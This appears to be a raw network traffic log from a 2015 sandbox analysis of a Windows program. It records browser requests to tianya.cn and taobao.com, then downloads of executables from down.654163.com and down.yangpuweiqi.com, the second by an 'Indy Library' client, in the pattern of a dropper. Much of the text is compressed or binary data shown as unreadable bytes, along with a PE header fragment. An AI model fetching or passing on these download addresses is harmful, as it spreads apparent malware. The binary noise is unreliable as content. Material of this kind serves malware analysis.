criptCharset:"utf-8"}))}function r(a,e,c){for(var b in a)if(a.hasOwnPr
operty(b)&&!0===e.call(c,a[b],b,a))break}function k(a){var e=new Date,
e="1" ("" e.getTime()).slice(4,-3);return e=parseInt(e,10) a}function 
z(){var a=o(s),.a=parseInt(a,10);return a>k(0)?!1:!0}function t(a){
1<=a&&p(s,k(60*a),a)}function u(){return!0===f(l).data("TY_AD_POP_I
S_USE")}function g(){m&&(m=!1,f(l).data("TY_AD_POP_IS_USE",!1))}functi
on v(){m=!0;f(l).data("TY_AD_POP_IS_USE",!0)}function w(a){x||(z()?u()
?(a--,0<a&&c.setTimeout(function(){w(a)},15E3)):(v(),t(2),j(y "tybc
dsdata.jsonp").done(function(){var a=c._tybcdsdata_;!a||"object"!==typ
eof a?g():(x={},a={1001:a},j("js/core.js?v=20150521").done(function(){
var d=c.TYBroadcast;if(!d||"function"!==.typeof d.Ctrl)return g();r(b,
function(a,b){"function"===typeof a&&"function"!==typeof d[b]&&(d[b]=a
)});"function"===typeof d.setConfig&&d.setConfig("bc_root_static",q).s
etConfig("bc_root_data",y);d.version({normal:150525,gushen:150525,eboo
k:150525});d.Ctrl(a)}).fail(g))}).fail(g)):b.log("it is not expired.")
)}var A=c.TYBroadcast,f=c.jQuery,i=c.__global,l=c.document,h=c.locatio
n,n=/^(\w [-\.\w]*)\.tianya\.cn$/.test(h.hostname)?RegExp.$1:"",h=h.pa
thname,q=c.DIR_BROADCAST_STATIC||"hXXp://static.tianyaui.com/gamif
<<< skipped >>>

GET /gamify/data/broadcast/tybcdsdata.jsonp HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:46 GMT

Content-Type: application/octet-stream

Content-Length: 32344

Last-Modified: Tue, 26 May 2015 09:23:30 GMT

Connection: keep-alive

ETag: "55643b92-7e58"

Expires: Tue, 26 May 2015 09:33:45 GMT

Cache-Control: no-cache

Accept-Ranges: bytes
var _tybcdsdata_  = {"20150525164445MxF":{"shang":188000,"tuid":591223
27,"fun":"PWBIN2","pUnit":"...","type":1,"url":"hXXp://bbs.tianya.cn/p
ost-stocks-1333219-1.shtml","pCount":1880,"pId":"1","time":14325434850
00,"title":"........................  ........................","pName
":"...","tun":"............","fuid":46840286,"pType":0},"2015052509173
8NgC":{"shang":100000,"tuid":41919950,"fun":"............","pUnit":"..
.","type":0,"url":"","pCount":1000,"pId":"1","time":1432516658000,"tit
le":".........","pName":"...","tun":".........","fuid":101093216,"pTyp
e":0},"20150525180811aoA":{"shang":100000,"tuid":100148514,"fun":"....
........","pUnit":"...","type":1,"url":"hXXp://bbs.tianya.cn/post-stoc
ks-1337629-1.shtml","pCount":1,"pId":"10","time":1432548491000,"title"
:"20..................1000........................","pName":"......","
tun":"...............2015","fuid":101983075,"pType":0},"20150526100251
PCR":{"shang":1500000,"tuid":45132074,"fun":"championliq","pUnit":"...
","type":1,"url":"hXXp://bbs.tianya.cn/post-stocks-860147-1.shtml","pC
ount":15,"pId":"10","time":1432605772000,"title":"[............]......
......&SNIPER....................................&............","pName
":"......","tun":"......A............","fuid":98338769,"pType":0},"201
50525235112HF2":{"shang":100000,"tuid":41919950,"fun":"............","
pUnit":"...","type":0,"url":"","pCount":1000,"pId":"1","time":14325690
72000,"title":".........","pName":"...","tun":".........","fuid":10177
4661,"pType":0},"20150525223005slq":{"shang":100000,"tuid":9777180
<<< skipped >>>

GET /gamify/broadcast/css/bc_1001_ebook_top.css?v=150525 HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:48 GMT

Content-Type: text/css

Last-Modified: Mon, 25 May 2015 03:33:31 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 15:33:48 GMT

Cache-Control: max-age=21600

Content-Encoding: gzip
3b2.............VK..0..J.......<^..H.&0BbX..Mk..#.. T.Y.c...@..$...
'I.$..B...I.s.=...l..l..g3....3....$aTlSs....o....?............O.AtP"V
.%......T..I.J.C......q........e.r.\.A.yEO.K......Ak..q.@l.[!1',.<.
..UE.0&l^..z......|!.h\Wj.on.....8.q.A...IXl..S...<.....s...'.p.g.(
5.#J.,.......^).W.k..<S$.;ajp;a..z.t..d.{.k..4.nW.wn!.6.I....%..^..
)4S..%.....d.HA.......IYP.6.Q.-.;.."..Q.jN.z.f..>..Gd5..A.....YvX..
C.-.}....ch..E........u:J..=.\)...I"..@..|..7..=?9..N....]....c...Q...
..O..m2.LNY.5YA9x..%....... Q.A..44..\a...Q...h..0..Lh%.C..4bW...QG...
?4....{tf.5q.....%*.E......H.DRpSM......7V.@Uzm ...l.;.e.>\.3...w}.
L.k..d..*..Z.',.:.Gf...Z......lY..r2V..n..........>.7H"q..A..... ).
.K.Df.K.}.._.56..7fU.:^5c.X..w.].:.......ou.~v...Z.......i.._h.<L..
...i.m9.&A.e.....^.l\\`.>.G\..?...y..~...L.d......L.Gu...=.*.......
...SM.]ujQ....SE......j.nN..#..c......u.D.......xl....X...e..o.......E
5o:.......7.M[l..g.a.E..........Z-.I......-4..'..9.ij|..$}....:KJ.....
0......


GET /global/dashang/js/core.js?v=1.0.5 HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:49 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 21 Apr 2015 04:56:21 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 15:33:49 GMT

Cache-Control: max-age=21600

Content-Encoding: gzip
1432.............Z.o.Hz...B..6..)...W...8.&..f.x.......D["........z(..
.(.c..(.............}..!E......."g.......>3.`..y..Vd.....%..T..4fY.
F..y../.2....lw[i..&.L...XiW|..e.nY...,..d.oo....6.Gy>.:.v..k4.\f9*
.....y......QjaE"....H`]v]...Hk.7u.T.\...D....Q|.l7ph....m.....$.c..-.
2.I.S.(..O.Sg(s.E.|q!._....H....f.......Q4...v..k.(...M-...cO......(..
;.X.....<.&M.2..V...6.A.........}.ra.>Vt...K..N._..1mg,.a>r..
.:.>..........^.\..!.....oW.1...OT......p..b..x..`Fr...2N.lB....W.(
...B..>...x._{..T,.(S..e...b..$....RJ.l.B<...!6..........^#.j..I
..........;o.Y.S5..[.M....6.lY.][.1....d2....Y.m.I.../...t.D.. (..L3..
cGN.yJ*....0.;~D..8..z.tB.Qv......To..).Y....>.iV......*..].....Q..
.j.Ea[p....U....4I...k1D..I.BN.c..[......uV. .2...Z....E!.X.k...R..[a.
...]).....,.]..M..n.F7 .p.y.......Q.-..[.&.....V...i......x1If.l.&D..z
gj.....U9. '.=.\...!.x.."..m!..ue.....4M.D....3..<y...Z<...e.e.x
ez....g...{....rLR.u0.PT..e$.0...3.....96....cT4..~!......;A.c..x.....
..(...v.1.. ....C...}.t.g'.........<...U....y_?..e ......v.......V.
....tQ..n/...,..!..|O./...T....!(.......;.Vc...v{.G..k/..'.....-......
.{.{......e`I..]8o.N.:U:.....H.P......i.r...}.k....LaeQD.:P.=.....d.I,
.. .a ....V....^......)i...........u.. .u....V.g.X....G.d\...zH...\...
....v.I,[..MX....t...b.:.>_..1...e.....xg...1.I.3'...W..?.l.e/{...=
l%..^..6.AE.k.^H.;.V....6..b..?{h.......t.{....U.q....X.`.^....^\y.[2.
..^.^.....'.c.<P......n/.....|..a ._...G.......{ .g.S.....|Vg.$.@d.
...9.6......g..L.0..q....Q.p.T>..o..9,8t.....<..."Ds.....6W.
<<< skipped >>>

GET /gamify/broadcast/img/1001/ebook/avatar_month.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:49 GMT

Content-Type: image/png

Content-Length: 42236

Last-Modified: Mon, 25 May 2015 03:34:03 GMT

Connection: keep-alive

ETag: "5562982b-a4fc"

Expires: Thu, 25 Jun 2015 09:33:49 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.......Q......S.k....tEXtSoftware.Adobe ImageReadyq.e&
lt;...&iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Windows)" xmpMM:InstanceID="xmp.iid:156380A4F77F11E48543
E39379B317CE" xmpMM:DocumentID="xmp.did:156380A5F77F11E48543E39379B317
CE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:156380A2F77F11
E48543E39379B317CE" stRef:documentID="xmp.did:156380A3F77F11E48543E393
79B317CE"/> </rdf:Description> </rdf:RDF> </x:xmpmet
a> <?xpacket end="r"?>..}g...lIDATx..].........zs..w.6.6....B
....J...J..B.$.'.^.........l0...r..............:.L4..NZ.V....f..<..
m.n"I......L...i.W...t.r.u........o..\$.^.....a....V....j......G.Y.mW.
....n..G......==..z..>.,..d4'a'-........6s,.=....O.x..5...tL.0....J
J..i?E.....<..,.v...!.|,W..U$..{.)."9..g.}LZ.Y.[..9!...t.)...c....M
...S...lw.:G....._i.k.XF.sS.a<m..rh....7.VC.n.. ........g...M.#M..V
.h..-]..B4i.0@....|.e.......*O ?.^..1.TI.L.....5-.P..D.n.)..G/.K.N....
.QdI|..".8.D.....eX0L.^...LY.....,.. .,.~....W6..ae.k...; 1....B.i....
9....l.Hia ....2..8..".e...6i........S......."nJf.._& .J`...A..[..
<<< skipped >>>

GET /gamify/broadcast/img/1001/ebook/book_0.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:50 GMT

Content-Type: image/png

Content-Length: 2787

Last-Modified: Mon, 25 May 2015 03:34:03 GMT

Connection: keep-alive

ETag: "5562982b-ae3"

Expires: Thu, 25 Jun 2015 09:33:50 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...=..........Z.q....tEXtSoftware.Adobe ImageReadyq.e&
lt;...&iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Windows)" xmpMM:InstanceID="xmp.iid:2F06129BF77F11E4B4B2
E550093EBAD4" xmpMM:DocumentID="xmp.did:2F06129CF77F11E4B4B2E550093EBA
D4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2F061299F77F11
E4B4B2E550093EBAD4" stRef:documentID="xmp.did:2F06129AF77F11E4B4B2E550
093EBAD4"/> </rdf:Description> </rdf:RDF> </x:xmpmet
a> <?xpacket end="r"?>...7...SIDATx..X.PT..>..........eY@.
......... ">P.j.....6m...ik&i.$iL3#.....h.jT....6...I....(..X^....}
....I.I1.n..gfgwv........|..0...U.&..=r... ....WL.|..........M..Tq3..=
R...p.(v}...jH.o...NTp..:.ylL.0......X.H..T...~..B..H.crW...z.k.46..X9
g.......%.&..x..A...*....0..)3.....zv...><.p.S.p.4g............x
[email protected]......>[email protected]........\....:"\..r.5......F.lT$...N. &.
L.]..,.'"hzzi...S...r....ohis...7O.h.J!.u.J.i....6..Y.....7.q.:.p....y
..e............F.D..x..>.. ..].hV.`XLN.,.........\.......A..'...~.F
..X...$...['.Wg1".<x...8N.......g....{../.....k.....?7MT..=.D^.
<<< skipped >>>

GET /gamify/broadcast/img/1001/ebook/book_3.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:51 GMT

Content-Type: image/png

Content-Length: 2758

Last-Modified: Mon, 25 May 2015 03:34:07 GMT

Connection: keep-alive

ETag: "5562982f-ac6"

Expires: Thu, 25 Jun 2015 09:33:51 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR... ...'.............tEXtSoftware.Adobe ImageReadyq.e&
lt;...&iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Windows)" xmpMM:InstanceID="xmp.iid:27857DDCF77F11E4A928
BF7EB726F46E" xmpMM:DocumentID="xmp.did:27857DDDF77F11E4A928BF7EB726F4
6E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:27857DDAF77F11
E4A928BF7EB726F46E" stRef:documentID="xmp.did:27857DDBF77F11E4A928BF7E
B726F46E"/> </rdf:Description> </rdf:RDF> </x:xmpmet
a> <?xpacket end="r"?>...-...6IDATx....l[.....G.u..v.$Nl...v.
......t..n....T..k...TC..b.`....(.S.)..xd].e...........i.$..M.....q}.{
w.GP.I.....JG:......w.....2..{.^E..'..N&..7.2.....S.d......h.r&...1c..
...Cv...t.|.!..<.._...z.t2.....T.>?..9... 'b...Y..6..z.i.B...f.0
..GN......../.HF(....t.t 2~..y.....m..r....r.E.e)...d...q.'[email protected]..
..c.S..u.90..a.......................7............)..?.....a.......-M.
T. [email protected]..`.0.8W......f..7..3).......e39.,....]'../0.r.`Z
..$b1....$..J.%-....AT=..L?{..8..s..~Mr|...-.T<..U......8i...3..A..
|D.eJ_.-QU.*.....raT.h....XF...........:N/.VGZ.X..Q".h,..pr.......
<<< skipped >>>

GET /t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=4mlmGlHXw1E%2BVkS0wTh80ZXkMi5N%2BqCa HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Tue, 26 May 2015 09:33:40 GMT

Content-Type: text/html; charset=GBK

Last-Modified: Fri, 15 May 2015 08:16:54 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 09:33:40 GMT

Cache-Control: max-age=0

Content-Encoding: gzip
2d3.............U[o.0.~..0.J...0^F!Tk..J.ZML.Dy0.C.9qH..j...s..h..Z./.
.......qu{9.y7...9..vqs}..)....._....O..7...`..(e...p.G_ ......y....D2
...x..:.....=O.I...A.p..(u..tz.^.]`).T..v&..jR7a..r.S..t%./.$....~..:d
!-....w...V*..........5Jh..K-<....lr.7..S.a..?..%h..gaf.{.......,.4
.ol.......P@..,)b..K........lP...|.SZFP..Y..,[email protected].'OO!N...
N;......E*......".....v...".\....w.jU.t.....}.u.2..".0uP..Z..|....t..E
.3......p..1v....Lyf.M].S..@2...$..Vj...WBf.`_.]1.?.U*.......E.]..Vq8N
..N.}T_.\...H.1#.."TFh;...K.....Y...\s.8. ..B.g!....J........e...Y.h#W
."GDJ...%...n.......Deh.....Tg~...=.67Y.E".....,[email protected]`.
.>...i..7q..7..<83.t.T.8.....g.*.i..a..l.U...4..z....<..N.p..
[email protected]_=*......]..d..?tDG.......0..

GET /UserFiles/install_41_1.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: down.654163.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Length: 1633792

Content-Type: application/octet-stream

Last-Modified: Mon, 18 May 2015 03:54:10 GMT

Accept-Ranges: bytes

ETag: "3fb9104c1e91d01:1012"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 26 May 2015 09:33:30 GMT
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L...ybYU............
.....j...........u............@.......................................
.......@[email protected]......................
[email protected].......&.....
...............text...,N.......P.................. ..`.itext.......`..
.....T.............. ..`[email protected]..
[email protected]..................
@[email protected]....<..............
..................rdata..............................@[email protected].......
[email protected]..................@..@...
.................................@..@.................................
[email protected]..........
[email protected][email protected][email protected][email protected].......
[email protected][email protected]............@[email protected]............@[email protected]
[email protected]............@[email protected]............@...@..
[email protected]............@[email protected]................
[email protected][email protected][email protected][email protected]...
.@.|[email protected][email protected]....@[email protected][email protected]
Char0.@....@[email protected].@....@[email protected][email protected]
<<< skipped >>>

GET /s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.tbcdn.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 3711

Connection: keep-alive

Date: Tue, 26 May 2015 08:22:14 GMT

Last-Modified: Mon, 09 Sep 2013 03:33:34 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache11.l2hk1[0,304-0,H], cache23.l2hk1[0,0], cache5.de1[0,200-0,H], cache10.de1[0,0]

Content-Encoding: gzip

Age: 4299

X-Cache: HIT TCP_MEM_HIT dirn:1:124237252

X-Swift-SaveTime: Tue, 26 May 2015 08:34:16 GMT

X-Swift-CacheTime: 3600
...........Yks.H..>..S;6D-..<&(...35S;..&N..<.T........W...=.
..dy2....M?n.>..G...X.**.<.....;...?<../......d.....o.{b.).we
6Mk..\...x.......5.....e=.|.._>|...8v.).sQ...*.,1....j.d....X8.MX..
...S.......u.U...VKQF9.*/*.U]...(...;.z....-.......p...KB3-..KQ......i
..|...>g.;..Y....,hF...:.......([email protected]..
.~B{.,E.}.........\.<....oq........s.5..=).........$.....#v..o.,..u
}.....V.-..5...u...."....4.U...\lj.......F.4.'..b.;1..Z. ..:.a"q......
.......mw.....%_:...M....g5.....M.........D=[..C.....{.]..#H ..w3..,{K
.......g....J*...#.lY-m9P..Y..b_j"..c\.X...G....s^..v'........X.....`~
j.fD..n........7...3..!..,f.b.{)...T|..9NB.v.... tt.V .a{.....F..e..Q.
.q)...e....G..a..b^.@".......2.]Y..IQ...3.~....|.<....XA.|C.f.4.3(.
0..v.[...#..3..&...B[...<..?.y.8<...........|U...e...,.. ...U...
"!.VR.....j.eQeD..]......Y;......n..N.........JD.V....\R-.Y2..Q'c...x.
.#.ap.4.2a...%.JY.jz..eS..........n-w.$..6..)....7.K...P..............
.4..u...3.....p.K....#.h]....Qb.)m..O=s.. Q.....>...J.......S.C...6
3 ....7Y.Mr..l!C..K.Y..32.....[...V._...XI..C...]..{..'.....{.P. 2..Z.
.`[email protected]..#.s....gO...R.6.....aJ$..e'.8.....,..s.....t......f4........
.XLl.eV..[. ...'.. .I.m; .g....-.........`f..YK;..uk.b*e..LAG....f.bkJ
|!...f.n....)A.....e....Q..l....;G...O;.6.3.E..#\[email protected]/..@....|...w.D:
8....0.-G*B.e.%...@0.....|*>..;.....u..].3.....2X..4vM.e...!/v.\.2.
.Q.Q.H.a....H..7.ja..3.?t..`..O...,.9x.....v.....p.H..$l...2\...g.."..
b#c..'.l.......'^,j..;.a..v22^N%..xP.#\H.....?..L<.T..Ss.&...W7
<<< skipped >>>

GET /tps/i1/TB1.c6kHVXXXXbiXpXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 18229

Connection: keep-alive

Date: Mon, 25 May 2015 23:58:55 GMT

Last-Modified: Mon, 25 May 2015 08:05:56 GMT

Expires: Thu, 22 May 2025 23:58:55 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache1.l2de1[290,200-0,M], cache8.l2de1[291,0], cache4.de1[0,200-0,H], cache1.de1[0,0]

Age: 34497

X-Cache: HIT TCP_MEM_HIT dirn:6:633170011

X-Swift-SaveTime: Mon, 25 May 2015 23:58:55 GMT

X-Swift-CacheTime: 315360000
.PNG........IHDR...x...x.....9d6.....bKGD..............pHYs...H...H.F.
k>....vpAg...x...x..E.[..F9IDATx...w.dE....:..tO.........s.........
....T..Q...$*[email protected].;.&O....?N........o...-........>U........
5....6sG^..c.B.... .$^).iH.q.EH.......~T`......}.Vb.$...!...6..c'....7
.......KWl.*...5..s.......c..;[email protected].(..H.....e
.....9..l.).......A..0|...9....P.wd.....z....?....w.........&../PW[...
.....f.3.L.wC. .....=.y../......m5R......C..........;n..|!}.7...Y.....
G7.~.Q....u..b.....0.I....]g0iL.^....'.:..3.]~....n..1$k.Pa.J..^.._...
.T3X...T.U.SX..3......h...r........_;....&N.G.....w.d..ll..GR]S..D...e
...~{s!.3.W....Du5.B.!.6..)...;Y.p.5 ...D..m.a..d....e....;un[.`.7...~
r./...K.o....1q...G...Y..`.2.e.r...F.....d..u...B|.......g.|..m..FJ...
.....P....x^P...<bZk...`p..N{fk.`LL.a..C..Q,|.....S&.8t(.>X..e..
-.).>.R.......x"N}X.....t.....r.%.o...!.6.C.*.......d@.`....%L|-...
...I..w?......xJ.....N...2..........H...lY..\W...P*...B.E.#P!.AU2.....
._/}..]...... ...........6.3X..R!.4.s.ZS]W...o7_.......|........A.qg}.
.N ...J.".Uq.b7....>0.h.)..&...0...*..9..]....|..Iv*C.....@ ...V...
,.@)E.XBJ..:.jM...........i.......}....a.......<7.J.3a.t...'..p6K.`
.9..".0.xa.4M...#..:..YO.....=.q.........=..t..%Z......Fi.............
....Q..f=.........J...F... ...iQ....~.....7..}GQ.p).],S........J..._..
.K...:.....|t....?.....a......i...'..L5......m...._....a.f|..?.4..Bk.R
.......*.....u...._.U.&$..2Bh...Z...Ho................u...j.^..h..h.q.
$.S<b..f6=...S..e.._B..QR............Z......o.H....].K....._...
<<< skipped >>>

GET /tps/i1/T1A30CFvXbXXbhgrfd-29-26.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 549

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:26:33 GMT

Last-Modified: Mon, 30 Dec 2013 02:41:40 GMT

Expires: Sun, 03 Nov 2024 11:26:33 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache8.l2de1[0,200-0,H], cache38.l2de1[0,0], cache5.de1[0,200-0,H], cache1.de1[0,0]

Age: 17359641

X-Cache: HIT TCP_MEM_HIT dirn:7:891945045

X-Swift-SaveTime: Tue, 07 Apr 2015 08:44:46 GMT

X-Swift-CacheTime: 302236907
.PNG........IHDR.............|H.....lPLTE....o.....Bo.2d.4f.v..,^..`.*
\....;h................X.....[..b.....................................
..........c......tRNS...aRS.LNJ.Z.....w.{...s......QIDAT(.uR.r.0.4.9..
.$# m......C..2c,V..-..}l..u....]U...0.....q^....d......k..a%JI...L"$.
.|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVcbe..b...l...^.$.Y.!.R#
.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l..![... yI.._..=.kz....
.s0....NYR..cN......"s....*Mx.A........V..y..].o._fkN.HH...A..)I...-..
.y.....N.2......3.... ..d..Wu......x.8.R~.1.-s........IEND.B`.HTTP/1.1
 200 OK..Server: Tengine..Content-Type: image/png..Content-Length: 549
..Connection: keep-alive..Date: Thu, 06 Nov 2014 11:26:33 GMT..Last-Mo
dified: Mon, 30 Dec 2013 02:41:40 GMT..Expires: Sun, 03 Nov 2024 11:26
:33 GMT..Cache-Control: max-age=315360000..Access-Control-Allow-Origin
: *..Via: cache8.l2de1[0,200-0,H], cache38.l2de1[0,0], cache5.de1[0,20
0-0,H], cache1.de1[0,0]..Age: 17359641..X-Cache: HIT TCP_MEM_HIT dirn:
7:891945045..X-Swift-SaveTime: Tue, 07 Apr 2015 08:44:46 GMT..X-Swift-
CacheTime: 302236907...PNG........IHDR.............|H.....lPLTE....o..
...Bo.2d.4f.v..,^..`.*\....;h................X.....[..b...............
................................c......tRNS...aRS.LNJ.Z.....w.{...s...
...QIDAT(.uR.r.0.4.9...$# m......C..2c,V..-..}l..u....]U...0.....q^...
.d......k..a%JI...L"$..|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVc
be..b...l...^.$.Y.!.R#.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l.
.![... yI.._..=.kz.....s0....NYR..cN......"s....*Mx.A........V..y.
<<< skipped >>>

GET /dingniubaoku/dnbb_51171.exe HTTP/1.1

Host: down.yangpuweiqi.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx

